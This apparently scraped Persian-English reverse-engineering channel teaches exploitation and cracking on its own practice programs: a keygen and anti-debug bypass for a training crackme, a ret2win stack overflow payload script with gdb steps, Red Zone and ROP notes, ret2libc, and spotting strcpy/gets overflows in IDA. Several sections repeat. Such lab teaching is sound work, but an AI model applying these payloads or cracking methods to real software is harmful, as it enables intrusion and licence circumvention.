برای hotspot_sim.c:
mwindows برای حذف پنجره کنسول و ساخت GUI
برای gen_serial.c:
با MSVC (Developer Command Prompt):
hotspot_sim.c:
cl /EHsc hotspot_sim.c user32.lib gdi32.lib
gen_serial.c:
cl /EHsc gen_serial.c
چجوری تست و استفاده کنید
داخل VM ویندوزی حتما VM و snapshot برای فایل hotspot_sim.exe رو اجرا کنید
اسم دلخواه بزنید مثلا Ali حالا یا سریال رو با gen_serial.exe Ali بسازید و در فیلد Serial پیست کنید یا داخل دیباگر تابع تولید رو اجرا و مقدار expected را بخونید
اگر سریال درست باشه MessageBox موفقیت نمایش میده
راهنمای کوتاه آنالیز در x64dbg / IDA
جستجوی رشتهها
: "Name:", "Serial:", "%04X-%04X-%04X", "Activate & Play" → رفرنسها معمولا توابع مهم رو نشون میدن
IsDebuggerPresent: breakpoint
روی IsDebuggerPresent یا آدرسی که اون رو صدا میزنه اگر 1 برگرده برنامه مسیر خطا رو میزنه
GetWindowTextA: breakpoint
بذارید تا مقدار name و serial رو داخل حافظه ببینید
ثابتها: جستجوی ثابتهای XOR (0xA5A5A5A5, 0x5A5A5A5A, 0x3C3C3C3C) یا قالب %04X-%04X-%04X شما رو به تابع تولید سریال میرسونه
مقایسه: breakpoint روی stricmp تا قبل از مقایسه دو بافر رو ببینید
MessageBoxA:
گذاشتن breakpoint اینجا سریع میگه کدوم شاخه اجرا شده موفق یا خطا
Auxiliary program: Serial generation File: gen_serial.c)
For convenience and practice, a simple C program that implements the same algorithm and creates a serial for a name
// gen_serial.c
// Simple program to generate serial based on name
برای راحتی کار و تمرین یک برنامه C ساده که همون الگوریتم رو اجرا میکنه و سریال برای یک اسم میسازه
// gen_serial.c
// برنامه ساده برای تولید سریال بر اساس اسم
#include <stdio.h>
#include <stdint.h>
#include <string.h>
// تولید سریال مثل gen_expected_serial در باینری
void gen_expected_serial(const char *name, char *out, size_t outlen)
{
uint64_t s = 0;
// s = s*31 + ch
for (size_t i = 0; i < strlen(name); ++i) {
unsigned char ch = (unsigned char)name[i];
s = s * 31 + ch;
}
unsigned g1 = (unsigned)((s ^ 0xA5A5A5A5ULL) & 0xFFFF);
unsigned g2 = (unsigned)(((s >> 3) ^ 0x5A5A5A5AULL) & 0xFFFF);
unsigned g3 = (unsigned)(((s << 7) ^ 0x3C3C3C3CULL) & 0xFFFF);
// فرمت AAAA-BBBB-CCCC (حروف بزرگ هگز)
snprintf(out, outlen, "%04X-%04X-%04X", g1, g2, g3);
}
int main(int argc, char **argv)
{
char name[256] = {0};
char serial[64] = {0};
if (argc >= 2) {
strncpy(name, argv[1], sizeof(name)-1);
} else {
printf("Enter name: ");
if (!fgets(name, sizeof(name), stdin)) return 1;
name[strcspn(name, "\r\n")] = 0;
}
if (strlen(name) == 0) {
fprintf(stderr, "Name is empty\n");
return 1;
}
gen_expected_serial(name, serial, sizeof(serial));
printf("Name: %s\nSerial: %s\n", name, serial);
return 0;
}
نحوه ساخت Build
با MinGW (در ویندوز):
برای hotspot_sim.c:
gcc hotspot_sim.c -o hotspot_sim.exe -mwindows
mwindows برای حذف پنجره کنسول و ساخت GUI
برای gen_serial.c:
gcc gen_serial.c -o gen_serial.exe
با MSVC (Developer Command Prompt):
hotspot_sim.c:
cl /EHsc hotspot_sim.c user32.lib gdi32.lib
gen_serial.c:
cl /EHsc gen_serial.c
چجوری تست و استفاده کنید
داخل VM ویندوزی حتما VM و snapshot برای فایل hotspot_sim.exe رو اجرا کنید
اسم دلخواه بزنید مثلا Ali حالا یا سریال رو با gen_serial.exe Ali بسازید و در فیلد Serial پیست کنید یا داخل دیباگر تابع تولید رو اجرا و مقدار expected را بخونید
اگر سریال درست باشه MessageBox موفقیت نمایش میده
راهنمای کوتاه آنالیز در x64dbg / IDA
جستجوی رشتهها
: "Name:", "Serial:", "%04X-%04X-%04X", "Activate & Play" → رفرنسها معمولا توابع مهم رو نشون میدن
IsDebuggerPresent: breakpoint
روی IsDebuggerPresent یا آدرسی که اون رو صدا میزنه اگر 1 برگرده برنامه مسیر خطا رو میزنه
GetWindowTextA: breakpoint
بذارید تا مقدار name و serial رو داخل حافظه ببینید
ثابتها: جستجوی ثابتهای XOR (0xA5A5A5A5, 0x5A5A5A5A, 0x3C3C3C3C) یا قالب %04X-%04X-%04X شما رو به تابع تولید سریال میرسونه
مقایسه: breakpoint روی stricmp تا قبل از مقایسه دو بافر رو ببینید
MessageBoxA:
گذاشتن breakpoint اینجا سریع میگه کدوم شاخه اجرا شده موفق یا خطا
Auxiliary program: Serial generation File: gen_serial.c)
For convenience and practice, a simple C program that implements the same algorithm and creates a serial for a name
// gen_serial.c
// Simple program to generate serial based on name
#include <stdio.h>
#include <stdint.h>
#include <string.h>
// Generate serial like gen_expected_serial in binary
void gen_expected_serial(const char *name, char *out, size_t outlen)
{
uint64_t s = 0;
// s = s*31 + ch
for (size_t i = 0; i < strlen(name); ++i) {
unsigned char ch = (unsigned char)name[i];
s = s * 31 + ch;
}
unsigned g1 = (unsigned)((s ^ 0xA5A5A5A5ULL) & 0xFFFF);
unsigned g2 = (unsigned)(((s >> 3) ^ 0x5A5A5A5AULL) & 0xFFFF);
unsigned g3 = (unsigned)(((s << 7) ^ 0x3C3C3C3CULL) & 0xFFFF);
// format AAAA-BBBB-CCCC (hex uppercase letters)
snprintf(out, outlen, "%04X-%04X-%04X", g1, g2, g3);
}
int main(int argc, char **argv)
{
char name[256] = {0};
char serial[64] = {0};
if (argc >= 2) {
strncpy(name, argv[1], sizeof(name)-1);
} else {
printf("Enter name: ");
if (!fgets(name, sizeof(name), stdin)) return 1;
name[strcspn(name, "\r\n")] = 0;
}
if (strlen(name) == 0) {
fprintf(stderr, "Name is empty\n");
return 1;
}
gen_expected_serial(name, serial, sizeof(serial));
printf("Name: %s\nSerial: %s\n", name, serial);
return 0;
}
❤1
بخش هشتم بافر اورفلو
آدرس بازگشت و اجرای تابع win
کاری که میخواییم بکنیم
تو این قسمت مرحله به مرحله نشون میدیم چطور آفست بین ابتدای بافر و saved return address رو پیدا کنیم
بعد یاد میگیریم چطور آدرس تابع win رو بگیریم و ورودی بسازیم که وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا بشه
کد فایل file5_vuln.c
#include <stdio.h>
#include <string.h>
void win() {
puts("congrats you reached win");
}
void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}
کامپایل کنید
gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector
یک الگو بفرستید یا فقط A تکراری بفرستید تا کرش کنه
python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)
تو gdb توقف بذارید و قبل و بعد از strcpy نگاه کنید
break vulnوقتی کرش یا overwrite دیدید ادرس 8 بایتی که تو محل return افتاده رو بخونید
run
x/40x $rbp-64
# حافظه پایینتر از rbp رو ببینید قبل از strcpy
next
# اجرای کامل strcpy
x/40x $rbp-64
# بعد از strcpy ببینید چی تغییر کرده
x/gx $rbp+8
ادرس تابع win رو بگیرید
p &win
ساخت payload ساده برای فرستادن آدرس win به جای return address
فرض کنید آفست بین ابتدای بافر و saved return address شد مثلا 40 اینطوری payload میسازیم آدرس win رو از دستور p &win بگیرید
python3 - <<'PY' > payload.bin
import sys,struct
offset = 40 # عددی که خودتون پیدا کردید
addr_win = 0x414141414141
# اینو با آدرس واقعی جایگزین کنید مثلا 0x4006b6
sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY
بعد اجرا کنید
./file5_vuln "$(cat payload.bin)"
اگر درست زدید وقتی vuln برمیگرده به جای برگشت عادی تابع win اجرا میشه و متنش چاپ میشه
نکتههای مهم
آدرس ها داخل لینوکس x86_64 به صورت little endian هستن برای همین از struct.pack با '<Q' استفاده کردیم
برای اینکه آدرس ثابت باشه ASLR رو داخل VM خاموش کنید یا از پیکربندی VM استفاده کنید
Part 8 Buffer Overflow
return address and execute the win function
What we are going to do
In this part, we will show you step by step how to find the offset between the beginning of the buffer and the saved return address
Then we will learn how to get the address of the win function and create an input so that when vuln returns, the win function is executed instead of the normal return
File code file5_vuln.c
#include <stdio.h>
#include <string.h>
void win() {
puts("congrats you reached win");
}
void vuln(char *s) {
char buf[32];
strcpy(buf, s);
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("done main");
return 0;
}
Compile
gcc -g file5_vuln.c -o file5_vuln -fno-stack-protector
Send a pattern or just a repeated A to crash
python3 -c "print('A'*200)" > in.txt
gdb --args ./file5_vuln $(cat in.txt)
Stop gdb and look before and after strcpy
break vuln
run
x/40x $rbp-64
# See memory below rbp before strcpy
next
# Run strcpy completely
x/40x $rbp-64 # See what changed after strcpy
When you see a crash or overwrite, read the 8-byte address that was in the return location
x/gx $rbp+8
Get the address of the win function
p &win
Create a simple payload to send the address of win to Instead of return address
Assume the offset between the beginning of the buffer and the saved return address is, for example, 40. This is how we create the payload. Get the win address from the p &win command
python3 - <<'PY' > payload.bin
import sys,struct
offset = 40 # The number you found yourself
addr_win = 0x414141414141
# Replace this with the real address, for example, 0x4006b6
sys.stdout.buffer.write(b'A'*offset + struct.pack('<Q', addr_win))
PY
Then run
./file5_vuln "$(cat payload.bin)"
If you typed correctly, when vuln returns, the win function will be executed instead of the normal return and its text will be printed
Important points
❤4
ReverseEngineering
🔹 Red Zone در سیستم های x86-64 بر اساس ABI لینوکس پایین RSP اشارهگر استک یک محدودهی 160 بایتی وجود داره که به اون Red Zone میگن 🔸 این فضا مخصوص برای چیه؟ کامپایلر اجازه داره بدون تغییر RSP از این 160 بایت برای ذخیره موقت متغیر ها استفاده کنه 🔸 چرا…
چرا Exploit Dev به Red Zone حساسه؟
اگر روی استک payload میزارید shellcode/ROP ممکنه داخل Red Zone باشه
کامپایلر RSP رو تغییر نداده ولی دادهای که تزریق کرد داخل همون محدوده است
پس:
اگر تابع دیگه ای صدا زده بشه داده پاک میشه
اگر interrupt بشه کرش میکنه
چند تا payloadها با stomp شدن Red Zone از کار میوفتن
خیلی از فراخوانی های داخلی libc اولین کاری که میکنن اینه که از Red Zone استفاده بکنن
اگر ROP Chain شما داخل این محدوده باشه overwrite میشه کرش
Stack Alignment
وابسته به Red Zone
اگر اشتباهی فکر کنید فضای زیر RSP امن نیست ممکنه SUB/ADD اشتباه بزنی و استک misalign میشه
Misalignment:
سیستم کال کرش کنه
libc کرش کنه
ROP Chain درست اجرا نشه
مثال عملی
کد C
آدرس buffer پایین RSP است
اما RSP کم نشده!
این یعنی buffer داخل Red Zone هست
نکته طلایی:
کامپایلر حتی بدون رزرو استک در Red Zone متغیر میزاره
Why is Exploit Dev sensitive to Red Zone?
If you put the shellcode/ROP payload on the stack, it may be in the Red Zone
The compiler did not change the RSP, but the data it injected is in the same range
So:
If another function is called, the data will be cleared
If it is interrupted, it will crash
Some payloads will fail when the Red Zone is stomped
Many internal libc calls do the first thing they do is use the Red Zone
If your ROP Chain is in this range, it will be overwritten and crash
Stack Alignment
Dependent on the Red Zone
If you mistakenly think that the space below the RSP is not safe, you may make a SUB/ADD mistake and the stack will be misaligned
Misalignment:
System call crashes
libc crashes
ROP Chain does not execute correctly
Practical example
C code
The buffer address is below RSP
But RSP is not decreased!
This means the buffer is in the Red Zone
Golden tip:
The compiler places variables in the Red Zone even without stack reservation
@reverseengine
اگر روی استک payload میزارید shellcode/ROP ممکنه داخل Red Zone باشه
کامپایلر RSP رو تغییر نداده ولی دادهای که تزریق کرد داخل همون محدوده است
پس:
اگر تابع دیگه ای صدا زده بشه داده پاک میشه
اگر interrupt بشه کرش میکنه
چند تا payloadها با stomp شدن Red Zone از کار میوفتن
خیلی از فراخوانی های داخلی libc اولین کاری که میکنن اینه که از Red Zone استفاده بکنن
اگر ROP Chain شما داخل این محدوده باشه overwrite میشه کرش
Stack Alignment
وابسته به Red Zone
اگر اشتباهی فکر کنید فضای زیر RSP امن نیست ممکنه SUB/ADD اشتباه بزنی و استک misalign میشه
Misalignment:
سیستم کال کرش کنه
libc کرش کنه
ROP Chain درست اجرا نشه
مثال عملی
کد C
#include <stdio.h>
void test() {
char *p = (char *)__builtin_frame_address(0);
printf("RSP: %p\n", p);
char buffer[32];
buffer[0] = 'A';
printf("buffer: %p\n", buffer);
}
int main() {
test();
return 0;
}
آدرس buffer پایین RSP است
اما RSP کم نشده!
این یعنی buffer داخل Red Zone هست
نکته طلایی:
کامپایلر حتی بدون رزرو استک در Red Zone متغیر میزاره
Why is Exploit Dev sensitive to Red Zone?
If you put the shellcode/ROP payload on the stack, it may be in the Red Zone
The compiler did not change the RSP, but the data it injected is in the same range
So:
If another function is called, the data will be cleared
If it is interrupted, it will crash
Some payloads will fail when the Red Zone is stomped
Many internal libc calls do the first thing they do is use the Red Zone
If your ROP Chain is in this range, it will be overwritten and crash
Stack Alignment
Dependent on the Red Zone
If you mistakenly think that the space below the RSP is not safe, you may make a SUB/ADD mistake and the stack will be misaligned
Misalignment:
System call crashes
libc crashes
ROP Chain does not execute correctly
Practical example
C code
#include <stdio.h>
void test() {
char *p = (char *)__builtin_frame_address(0);
printf("RSP: %p\n", p);
char buffer[32];
buffer[0] = 'A';
printf("buffer: %p\n", buffer);
}
int main() {
test();
return 0;
}
The buffer address is below RSP
But RSP is not decreased!
This means the buffer is in the Red Zone
Golden tip:
The compiler places variables in the Red Zone even without stack reservation
@reverseengine
❤1👎1🔥1
بخش سیزدهم بافر اورفلو
مفهوم ret2libc و چطور از توابع libc برای هدایت اجرا استفاده میکنیم
چرا وقتی استک مال ما قابل اجرا نیست NX یا آدرس ها جا به جا میشن به جای گذاشتن شلک د روی استک میریم سراغ توابع آماده libc مثل puts یا printf یا در حالت خطرناک system
وقتی نمیتونم کد بذاریم و اجراش کنیم NX یا آدرسها متغیرن ASLR میایم از کتابخونه سیستم استفاده میکنیم به جای اینکه RIP رو بندازیم روی شل کد خودمون RIP رو میندازیم روی آدرس تابعی تو libc که قبلا هم خود برنامه ازش استفاده کرده puts و آرگومان مناسب رو هم جوری کنار میذاریم که puts یه رشته دلخواه رو چاپ کنه
این ایده دو مرحله اصلی داره
1 نشت آدرس libc یا یک آدرس ثابت پیدا میکنیم
2 از اون آدرس استفاده میکنیم تا آدرس توابع libc را محاسبه کنیم و بعد RIP رو به آن تابع ببریم
Code C:
file9_demo.c
#include <stdio.h>
#include <string.h>
char secret[] = "this is a libc string for demo";
void vuln(char *s) {
char buf[32];
strcpy(buf, s); /* unsafe but دمو */
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("program finished");
return 0;
}
ret2libc
یعنی استفاده از توابع آماده libc به جای اجرای شل کد روی استک
معمولا دو قدم لازمه:
نشت آدرس و بعد پر کردن استک جوری که وقتی برگشت تابع libc اجرا بشه با آرگومان مناسب
امنیت: NX و ASLR و PIE ترکیبی هستند که کار رو پیچیده میکنن
Part 13 Buffer Overflow
The concept of ret2libc and how we use libc functions to direct execution
Why when our stack is not executable NX or addresses are moved instead of putting shellcode on the stack we go to ready libc functions like puts or printf or in dangerous mode system
When we can't write code and execute it NX or addresses are variable ASLR we use the system library Instead of putting RIP on our shellcode we put RIP on the address of a function in libc that the program has already used puts and we leave the appropriate argument in such a way that puts prints a desired string
This idea has two main steps
1 We find a libc address leak or a fixed address
2 We use that address to calculate the address of libc functions and then put RIP to that function
Code C:
file9_demo.c
#include <stdio.h>
#include <string.h>
char secret[] = "this is a libc string for demo";
void vuln(char *s) {
char buf[32];
strcpy(buf, s); /* unsafe but demo */
puts("returned from vuln");
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage %s input\n", argv[0]);
return 1;
}
vuln(argv[1]);
puts("program finished");
return 0;
}
ret2libc
i.e. using ready-made libc functions instead of executing shellcode on the stack
Usually two steps are required:
Leak the address and then fill the stack so that when the libc function returns it is executed with the appropriate arguments
Security: NX, ASLR and PIE are a combination that complicates the task
@reverseengine
👍2
بخش چهاردهم بافر اورفلو
کشف بافر اورفلو در مهندسی معکوس با ابزارهای IDA و Ghidra و r2
توی این قسمت یاد میگیریم وقتی یک فایل باینری باز میکنید چطور بفهمید توش بافر اورفلو هست یا نه
یعنی بدون داشتن سورس و فقط با آنالیز تابع ها ورودی های خطرناک و مسیرهای حساس رو پیدا کنی فقط بررسی باینری انجام میدیم هیچ اکسپلویت واقعی نوشته نمیشه کاملا امنه
تشخیص توابع خطرناک در باینری
این یکی از سریعترین روش هاست
اگه جایی تابع هایی مثل strcpy sprintf gets memcpy بدون سایز مشخص وجود داشته باشه احتمال بافر اورفلو زیاده
ما یک باینری ساده برای آموزش استفاده میکنیم که توش strcpy و gets استفاده شده تا فقط مفهوم کشف آسیب پذیری رو تمرین کنیم
file.c
#include <stdio.h>
#include <string.h>
void read_name() {
char name[32];
gets(name);
printf("hello %s\n", name);
}
void copy_data(char *s) {
char buf[16];
strcpy(buf, s);
puts("done copy");
}
int main(int argc, char **argv) {
if (argc > 1)
copy_data(argv[1]);
read_name();
return 0;
}
باز کردن باینری در IDA یا Ghidra
وقتی فایل را داخل IDA باز میکنید دنبال اسم توابع خطرناک بگردید
مثال
اگه توی view functions ببینید gets یا strcpy هست همین خودش زنگ خطره
بعد برید داخل خود تابع و نگاه کند سایز بافر چقدره و ورودی از کجا میاد
وقتی دیدید strcpy(buf s) و buf اندازه ثابت داره ولی طول s از ورودی کاربر میاد خیلی احتمال بافر اورفلو هست
این الگو یکی از کلاسیک ترین نشونه هاشه
دیدن فریم تابع و محل بافر
توی disassembly دنبال دستوراتی مثل
sub rsp
alloca
اینا مکان ساختن فضای لوکال روی استک رو نشون میدن
مثال اسمبلی تابع copy_data وقتی disassemble کنیم تقریبا چیزی شبیه این میبینیم
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, rdi
lea rdx, [rbp-0x10]
mov rsi, rax
call strcpy
توضیح کد
اینجا واضح میبینید که بافر 16 بایته چون از rbp تا rbp-0x10 فاصله داره و چون strcpy هیچ چک طولی نمیکنه اگه ورودی طولانی بیاد استک میتونه خراب بشه
چک کردن مسیر ورودی کاربر
این خیلی مهمه اگه ورودی مستقیم از argv یا fgets یا read یا gets گرفته بشه و همون مستقیم به strcpy بره آسیبپذیری تقریبا قطعی میشه
نمونه اجرا
./a.out $(python3 -c "print('A'*200)")
اگر برنامه کرش کرد یعنی تشخیص ما درست بوده
Part 14 Buffer Overflow
Detecting Buffer Overflow in Reverse Engineering with IDA, Ghidra and r2 tools
In this section, we will learn how to find out if there is a buffer overflow when you open a binary file
That is, without having the source and only by analyzing the functions, you can find dangerous inputs and sensitive paths. We only do binary inspection. No real exploits can be written. It is completely safe
Detecting dangerous functions in binary
This is one of the fastest methods
If there are functions like strcpy sprintf gets memcpy without a specified size, the probability of buffer overflow is high
We will use a simple binary for training in which strcpy and gets are used to practice the concept of vulnerability detection
file.c
#include <stdio.h>
#include <string.h>
void read_name() {
char name[32];
gets(name);
printf("hello %s\n", name);
}
void copy_data(char *s) {
char buf[16];
strcpy(buf, s);
puts("done copy");
}
int main(int argc, char **argv) {
if (argc > 1)
copy_data(argv[1]);
read_name();
return 0;
}
Opening a binary in IDA or Ghidra
When you open a file in IDA, look for the names of dangerous functions
For example, if you see gets or strcpy in the view functions, that's a red flag.
Then go inside the function itself and look at the buffer size and where the input comes from.
When you see strcpy(buf s) and buf has a fixed size, but the length s comes from the user input, it's very likely a buffer overflow.
This pattern is one of the most classic signs.
Seeing the function frame and buffer location.
In disassembly, look for commands like
sub rsp
alloca
These show where to create local space on the stack.
For example, the assembly of the copy_data function, when we disassemble it, we see something like this:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, rdi
lea rdx, [rbp-0x10]
mov rsi, rax
call strcpy
❤1